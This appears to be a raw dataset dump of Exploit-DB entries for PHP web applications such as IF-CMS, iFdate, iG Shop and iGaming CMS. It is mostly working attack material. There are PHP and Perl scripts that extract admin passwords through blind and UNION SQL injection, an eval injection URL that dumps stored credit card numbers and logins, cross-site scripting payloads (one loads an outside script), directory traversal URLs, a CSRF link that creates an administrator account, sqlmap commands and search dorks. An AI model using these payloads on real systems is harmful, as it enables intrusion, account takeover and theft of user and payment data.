deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28909
Description: IF-CMS - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-04
Author: Benjamin Moss

Exploit:
source: https://www.securityfocus.com/bid/20909/info

IF-CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?rns=[xss]
Exploit-DB #8007
Description: IF-CMS 2.0 - 'id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-02-09
Author: darkjoker

Exploit:
--+++=======================================================+++--
--+++====== IF-CMS <= 2.0 Blind SQL Injection Exploit ======+++--
--+++=======================================================+++--

<?php

function query ($username, $char, $pos)
{
	//Increase benchmark when exploit prints uncorrect passwords

	$query = "x' OR IF ((ASCII(SUBSTRING((SELECT pass FROM rns_admin WHERE ".
		 "nick = '{$username}'),{$pos},1))={$char}), BENCHMARK(100000000,CHAR(0)),0) OR '1' = '2";
	$query = str_replace (" ", "%20", $query);
	$query = str_replace ("'", "%27", $query);
	return $query;
}

function exploit ($hostname, $path, $username, $char, $pos)
{
	$char = ord ($char);
	$fp = fsockopen ($hostname, 80);
	$get =  "GET {$path}/frame.php?id=". query ($username, $char, $pos) . " HTTP/1.1\r\n".
		"Host: {$hostname}\r\n".
		"Connection: Close\r\n\r\n";
		$a = time ();
	fputs ($fp, $get);
	while (!feof ($fp))
		fgets ($fp, 1024);

	fclose ($fp);
	$a = time () - $a;
	if ($a > 4)
		return true;
	else
		return false;

}

function usage ()
{
	echo "\nIF-CMS <= 2.0 Blind SQL Injection Exploit".
	     "\n[+] Author  : darkjoker".
	     "\n[+] Site    : http://darkjoker.net23.net".
	     "\n[+] Download: http://downloads.sourceforge.net/if-cms/If-CMS-2.07.zip?modtime=[PII_REDACTED]&big_mirror=0".
	     "\n[+] Usage   : php xpl.php <hostname> <path> <username>".
	     "\n[+] Ex.     : php xpl.php localhost /IF-CMS root".
	     "\n\n";
	exit ();
}

if ($argc != 4)
	usage ();
$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
//Edit this keylist when returned password is incomplete and add other characters you want
$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[PII_REDACTED]";
$chr = 0;
$pos = 1;
echo "[+] Password: ";
while ($chr < strlen ($key))
{
	if (exploit ($hostname, $path, $user, $key [$chr], $pos))
	{
		echo $key [$chr];
		$chr = 0;
		$pos++;
	}
	else
		$chr++;
}
echo "\n\n";
?>

# milw0rm.com [2009-02-09]
Exploit-DB #6315
Description: iFdate 2.0.3 - SQL Injection
Type: webapps
Platform: php
Date: 2008-08-26
Author: ~!Dok_tOR!~

Exploit:
iFdate <= 2.0.3 SQL Injection Vulnerability

Author: ~!Dok_tOR!~
Date found: 26.08.08
Product: iFdate
Version: 2.0.3
Price: $140
Download script: http://depositfiles.com/ru/files/537317
Vulnerability Class: SQL Injection
Condition: magic_quotes_gpc = Off

http://localhost/[installdir]/members_search.php

need avtorizovatsya

Search Name/Nickname:

Exploit 1:

' union select 1,concat_ws(0x3a,admin_username,admin_password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from ifdate_admins/*

Exploit 2:

' union select 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from ifdate_users/*

Dork:

  Powered by iFdate v.2.0
iFdate v.2.0
iFdate v.2.0 Copyright

# milw0rm.com [2008-08-26]
Exploit-DB #41632
Description: iFdate Social Dating Script 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-18
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: iFdate Social Dating Script v2.0 - SQL Injection
# Google Dork: N/A
# Date: 18.03.2017
# Vendor Homepage: http://turnkeycentral.com/
# Software: http://turnkeycentral.com/scripts/social-dating-script/
# Demo: http://demo.turnkeycentral.com/ifdate/index.php
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/members_search_results.php?gender=[SQL]
# http://localhost/[PATH]/members_search_results.php?sexuality=[SQL]
# http://localhost/[PATH]/members_search_results.php?marital=[SQL]
# http://localhost/[PATH]/members_search_results.php?ethnic=[SQL]
# http://localhost/[PATH]/members_search_results.php?country=[SQL]
# http://localhost/[PATH]/members_search_results.php?picture=[SQL]
# http://localhost/[PATH]/members_search_results.php?online=[SQL]
# http://localhost/[PATH]/my_profile_error.php?error_name=[SQL]
# http://localhost/[PATH]/my_profile_pictures.php?username=[SQL]
# http://localhost/[PATH]/my_profile_buddies.php?username=[SQL]
# http://localhost/[PATH]/my_profile_videos.php?username=[SQL]
# http://localhost/[PATH]/my_profile.php?username=[SQL]
# http://localhost/[PATH]/my_profile_guestbook.php?username=[SQL]
# members :id
# members :username
# members :email
# members :password
# members :signup_date
# members :signup_ip
# members :banned
# members :active
# members :is_admin
# Etc..
# # # # #
Exploit-DB #28011
Description: iFoto 0.20 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-12
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18391/info

iFoto is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/?dir=Scene&file=PElGUkFNRSBTUkM9ImphdmFzY3JpcHQ6YWxlcnQoJ1hTUycpOyI+PC9JRlJBTUU+
Exploit-DB #30389
Description: iFoto 1.0 - 'index.php' Directory Traversal
Type: webapps
Platform: php
Date: 2007-07-25
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/25065/info

iFoto is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

A remote attacker can exploit this issue to view the directory structure of the affected computer within the context of the webserver.

This issue affects iFoto 1.0; other versions may also be affected. 

http://www.example.com/ifoto/?dir=..%2F..%2F..%2F..%2F..%2F..%2Fetc
http://www.example.com/ifoto/?dir=../../../../../../etc
http://www.example.com/ifoto/index.php?dir=../../../../../../
Exploit-DB #50391
Description: IFSC Code Finder Project 1.0 - SQL injection (Unauthenticated)
Type: webapps
Platform: php
Date: 2021-10-08
Author: Yash Mahajan

Exploit:
# Title: IFSC Code Finder Project 1.0 - SQL injection (Unauthenticated)
# Exploit Author: Yash Mahajan 
# Date: 2021-10-07
# Vendor Homepage: https://phpgurukul.com/ifsc-code-finder-project-using-php/
# Version: 1
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=14478
# Tested On: Windows 10, XAMPP 
# Vulnerable Parameter: searchifsccode 

Steps to Reproduce:

1) Navigate to http://127.0.0.1/ifscfinder/ enter any number in search field and capture request in burpsuite.
2) Paste below request into burp repeater and also create a txt file and paste this request.

Request:
========
POST /ifscfinder/search.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 79
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/ifscfinder/
Cookie: PHPSESSID=5877lg2kv4vm0n5sb8e1eb0d0k
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

searchifsccode=')+AND+(SELECT+3757+FROM+(SELECT(SLEEP(20)))lygy)--+fvnT&search=

--------------------------------------------------------------------------------
3) You will see a time delay of 20 Sec in response.
4) python sqlmap.py -r request.txt -p searchifsccode --dbs
5) We can retrieve all databases using above sqlmap command
Exploit-DB #28015
Description: iFusion iFlance 1.1 - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-12
Author: Luny

Exploit:
source: https://www.securityfocus.com/bid/18399/info

iFlance is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input to the application. 

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.1; other versions may also be vulnerable.

http://www.example.com/account/acc_verify.php?vk="><SCRIPT%20SRC=http://ha.ckers.org/xss.js></SCRIPT><"&verify=verify
Exploit-DB #3082
Description: iG Calendar 1.0 - 'user.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2007-01-05
Author: Michael Brooks

Exploit:
SQL Injection in ig-Calendar.  This works regardless of magic_quotes_gpc!
Dumps mysql login informaion:
http://127.0.0.1/ig-calendar/user.php?id=999%20union%20select%201,User,Password,Host,File_priv,0%20from%20mysql.user
./user.php line 52:
$query = 'SELECT * FROM users WHERE id='.$id;
Should have used quote marks.

Vendor's page:http://www.igeneric.co.uk
download: http://www.igeneric.co.uk/files/ig-calendar-1.0.zip

By Michael Brooks.  

# milw0rm.com [2007-01-05]
Exploit-DB #3083
Description: ig shop 1.0 - Code Execution / SQL Injection
Type: webapps
Platform: php
Date: 2007-01-05
Author: Michael Brooks

Exploit:
"If eval is the answer,  then you are asking the wrong question."
--Unknowen

ig-shop suffers from two eval's that can be controlled by an attacker:
http://127.0.0.1/ig_shop/cart.php?action=;phpinfo();//
./cart.php line 692:
eval ("cart_$action();");

http://127.0.0.1/ig_shop/page.php?action=;phpinfo();//
./page.php line 336:
eval ("page_$action();");

Dumps all credit card numbers:
http://127.0.0.1/ig_shop/cart.php?action=;$q=mysql_query(stripslashes($l));while($a=mysql_fetch_array($q)){print_r($a);}//&l=select%20*%20from%20orders
Some of these variables can be decoded using the unserlize()  funciton.

Dumps all logins:
http://127.0.0.1/ig_shop/cart.php?action=;$q=mysql_query(stripslashes($l));while($a=mysql_fetch_array($q)){print_r($a);}//&l=select%20*%20from%20users


sql injection works regardless of magic_quotes_gpc.
http://127.0.0.1/ig_shop/compare_product.php?id=1%20union%20select%201
./compare_product.php line 11:
$qry_txt="select type_id from catalog_product where product_id=".$HTTP_GET_VARS[id];
Should have used quote marks. 

vendor's page:http://www.igeneric.co.uk/

By Michael Brooks. 

# milw0rm.com [2007-01-05]
Exploit-DB #28866
Description: IG Shop 1.4 - 'Change_Pass.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-30
Author: SnipEr.X

Exploit:
source: https://www.securityfocus.com/bid/20768/info

iG Shop is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.4; earlier versions may also be vulnerable.

http://www.example.com/ig_shop/change_pass.php?id="<script>alert(document.cookie);</script>
Exploit-DB #3907
Description: iG Shop 1.4 - 'page.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-05-12
Author: gsy

Exploit:
Discovered by: gsy & kerem125
Website: www.kerem125.com

Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html

exploit:/shop/page.php?page_type=catalog_navigate&type_id[]=-99%20union/**/select/**/password/**/from/**/users/*

example:http://shop.igeneric.co.uk/shop/page.php?page_type=catalog_navigate&type_id[]=-99%20union/**/select/**/password/**/from/**/users/*

contact: by_gsy@hotmail.com & kerem125@kerem125.com
Special thx to:by_emr3 , ercu_145, bolivar, voltigore, f10

# user_id int(11) NOT NULL auto_increment,
# fname varchar(50) NOT NULL default '',
# lname varchar(50) NOT NULL default '',
# email varchar(100) NOT NULL default '',
# password varchar(100) NOT NULL default '',
# salutation varchar(5) NOT NULL default '',
# bill_address varchar(200) NOT NULL default '',
# bill_address_2 varchar(100) NOT NULL default '',
# bill_city varchar(50) NOT NULL default '',
# bill_post_code varchar(15) NOT NULL default '',
# bill_country varchar(20) NOT NULL default '',
# bill_phone varchar(15) NOT NULL default '',
# ship_address varchar(200) NOT NULL default '',
# ship_address_2 varchar(100) NOT NULL default '',
# ship_city varchar(50) NOT NULL default '',
# ship_post_code varchar(15) NOT NULL default '',
# ship_country varchar(20) NOT NULL default '',
# ship_phone varchar(15) NOT NULL default '',

# milw0rm.com [2007-05-12]
Exploit-DB #14820
Description: iGaming CMS - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2010-08-27
Author: Sweet

Exploit:
############################################################################
#                                                                          #
# Exploit Title: iGamingCMS1.5 multiple vulnirabilities                    #
#                                                                          #
# Date: 27/08/2010                                                         #
#                                                                          #
# Author: Sweet                                                            #
#                                                                          #
# Contact : charif38@hotmail.fr                                            #
#                                                                          #
# Software Link: http://www.igamingcms.com/                                #
#                                                                          # 
# Download: http://forums.igamingcms.com/forumdisplay.php?f=5              #
#                                                                          # 
# Version:1.5                                                              #
#                                                                          #
# Tested on: WinXp sp3                                                     #
#                                                                          #
# Risk : hight                                                             #
#                                                                          #
#                                                                          #
# Description : iGaming CMS is a content management                        #
#         system designed for gaming websites.                             # 
#                                                                          #
#                                                                          #
#                                                                          #
############################################################################

1-SQL injection:

http://www.example.com/igamingpath/games.php?order=1[SQLi]&section=[PII_REDACTED]email@address.tst&sort=desc

2-Blind injection:

http://www.example.com/igamingpath/games.php?order=title&section=[PII_REDACTED]email@address.tst'+and+31337-31337='0&sort=desc

http://www.example.com/igamingpath/index.php?do=viewarticle&id=1'+and+31337-31337='0


thx to Milw0rm.com , JF - Hamst0r - Keystroke  , inj3ct0r.com , exploit-db.com

Saha Ftourkoum et 1,2,3 viva L'Algerie :))
Exploit-DB #10463
Description: iGaming CMS 1.5 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2009-12-15
Author: Nex

Exploit:
NeX of the HackTalk team has found a CSRF Vulnerability in iGaming CMS v 1.5 that allows an attacker to make new administrative account, and run SQL queries.

Pentest Information:
============
NeX has discovered a Cross Site Request Forgery(CSRF) vulnerability in iGaming CMS 1.5

Details
============
Tested on OS:        Linux
Tested with Software:    Mozilla Firefox 3.0.x

Vulnerable Products:     iGaming CMS
Affected Versions:    1.5
Vulnerability Type:    Cross Site Request Forgery
Security-Risk:         High

Vendor-URL:         http://www.igamingcms.com/
Preview-URL:        http://demo.opensourcecms.com/igaming/

Vendor-Status:         Not informed
Patch/Fix-Status:    Fixed version not released
Advisory-Status:    Written | 12/15/09

Advisory-URL:
Report-URL:

Introduction:
============
iGaming CMS is a content management system designed for gaming websites. The system is written in PHP and requires a Mysql database for operation.

(Copy from the vendors homepage: http://www.igamingcms.com/)

More Details:
============
Due to the lack of multiple input validation errors, an attacker is able to change the password of the administrative user. Add new admin user, and run SQL queries.

Proof of Concept:
============
The following link will make new administrative account:

http://server/igaming/admin/users.php?pseudo=Username&email=E-Mail@of.the.new.admin.com&fname=First-Name&lname=Last-Name&[CREDENTIAL_REDACTED]=Confirm&do=add_confirm

The following link will run SQL query:
http://server/igaming/admin/dbtools.php?query=[SQL_QERY_HERE]&submit=Go&do=run_query
(Change [SQL_QERY_HERE] to your own SQL query.)
Fix & Patch:
============
To fix the bugs a token system is highly advised

Security Risk:
============
An attacker is able to make new administrative user thus having complete control over the site. The risk is estimated as HIGH!

Author:
========
NeX
Exploit-DB #6540
Description: iGaming CMS 1.5 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-09-23
Author: StAkeR

Exploit:
#!/usr/bin/perl
# ----------------------------------------------------------
# iGaming <= 1.5 Multiple Remote SQL Injection Exploit
# Perl Exploit - Output: id:admin:password
# Discovered On: 23/09/2008
# Discovered By: StAkeR - StAkeR[at]hotmail[dot]it
# Proud To Be Italian 
# ----------------------------------------------------------
# Usage: perl exploit.pl http://localhost/iGaming
# ----------------------------------------------------------

use strict;
use LWP::UserAgent;

my ($one,$two,$exec,$host,$http,$xxx,$view);

$view  = "'%20union%20select%200,0,1,2,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),0,6,7,8%20from%20sp_members%20WHERE%20id='1/*";
$exec  = "'%20union%20select%201,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),3%20from%20sp_members%20where%20id='1/*";
$host = shift @ARGV;
$http = new LWP::UserAgent or die $!;
$http->agent("Mozilla/4.5 [en] (Win95; U)");
$http->timeout(1);
                          

if($host !~ /^http:\/\/(.+?)$/)
{
  print "[?] iGaming CMS <= 1.5 Multiple Remote SQL Injection Exploit\n";
  print "[?] Usage: perl $0 http://[path]\n";
  exit;
}
else
{
  $one = $http->get($host.'/previews.php?browse='.$exec);
  $two = $http->get($host.'/reviews.php?browse='.$exec);
  $xxx = $http->get($host.'/index.php?do=viewarticle&id='.$view);
  
  if($one->is_success or $two->is_success or $xxx->is_success)
  {
    die "$1\n" if $one->content =~ /%(.+?)%/;
    die "$1\n" if $two->content =~ /%(.+?)%/;
    die "$1\n" if $xxx->content =~ /%(.+?)%/;
  }
  else
  {
    die "[+] Exploit Failed!\n";
  }
}  

# milw0rm.com [2008-09-23]
Exploit-DB #6769
Description: iGaming CMS 2.0 Alpha 1 - 'search.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-16
Author: StAkeR

Exploit:
#!/usr/bin/perl 
# -----------------------------------------------------
# iGaming CMS 2.0 Alpha 1 Remote SQL Injection Exploit
# By StAkeR aka athos - StAkeR[at]hotmail[dot]it
# On 16/10/2008
# http://www.igamingcms.com/iGaming_2_Alpha.zip
# -----------------------------------------------------

use strict;
use LWP::UserAgent;


my ($host,$id) = @ARGV;

usage() unless $host =~ /http:\/\/(.+?)$/ and $id =~ /^[0-9]/;

my $etc = "' union select 1,concat(0x616E[PII_REDACTED],".
          "password,0x3a,username,0x616E[PII_REDACTED]),3".
          ",4,5 from sp_users where id=$id#";
          
my @search = ($etc,'all',0,'Search','search_games');          
my @split = undef;          
          
my $http = new LWP::UserAgent;
my $post = $http->post($host.'/search.php',
                      [
                       keywords => $search[0],
                       platform => $search[1],
                       exact    => $search[2],
                       submit   => $search[3],
                       do       => $search[4]
                     ]);
                     
if($post->is_success)
{
  if($post->as_string =~ /anarchy(.+?)anarchy/)
  {
    @split = split(':',$1);
    
    print "Username: $split[0]\r\n";
    print "[CREDENTIAL_REDACTED][1]\r\n";
  }
  else
  {
    print "Exploit Failed!\r\n";
  }
}

sub usage
{
  print "iGaming CMS 2.0 Alpha 1 Remote SQL Injection Exploit\r\n";
  print "Usage: perl $0 http://[host] [user_id]\r\n";
  exit;
}


            
__END__         

# milw0rm.com [2008-10-16]
Exploit-DB #23773
Description: IGeneric Free Shopping Cart 1.4 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-03-01
Author: David Sopas Ferreira

Exploit:
source: https://www.securityfocus.com/bid/9773/info

It has been reported that iGeneric Free Shopping Cart is prone to a cross-site vulnerability. This issue is due to a failure of the application to properly sanitize user supplied URI parameters

Exploitation could allow for theft of cookie-based authentication credentials. Other attacks are also possible.

page.php?page_type=catalog_products&type_id[]=%3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
Exploit-DB #23770
Description: IGeneric Free Shopping Cart 1.4 - SQL Injection
Type: webapps
Platform: php
Date: 2004-03-01
Author: David Sopas Ferreira

Exploit:
source: https://www.securityfocus.com/bid/9771/info

It has been reported that iGeneric Free Shopping Cart is prone to an SQL injection vulnerability. This issue is due to a failure of the application to properly sanitize user supplied URI parameters

As a result of this issue a malicious user may influence database queries in order to view or modify sensitive information, potentially compromising the software or the database. It has been conjectured that an attacker may be able to disclose user password hashes by exploiting this issue. This issue may also be leveraged to exploit latent vulnerabilities within the database itself. 

page.php?page_type=catalog_products&type_id[]='[SQL-Injection]&SESSION_ID={SESSION_ID}&SESSION_ID=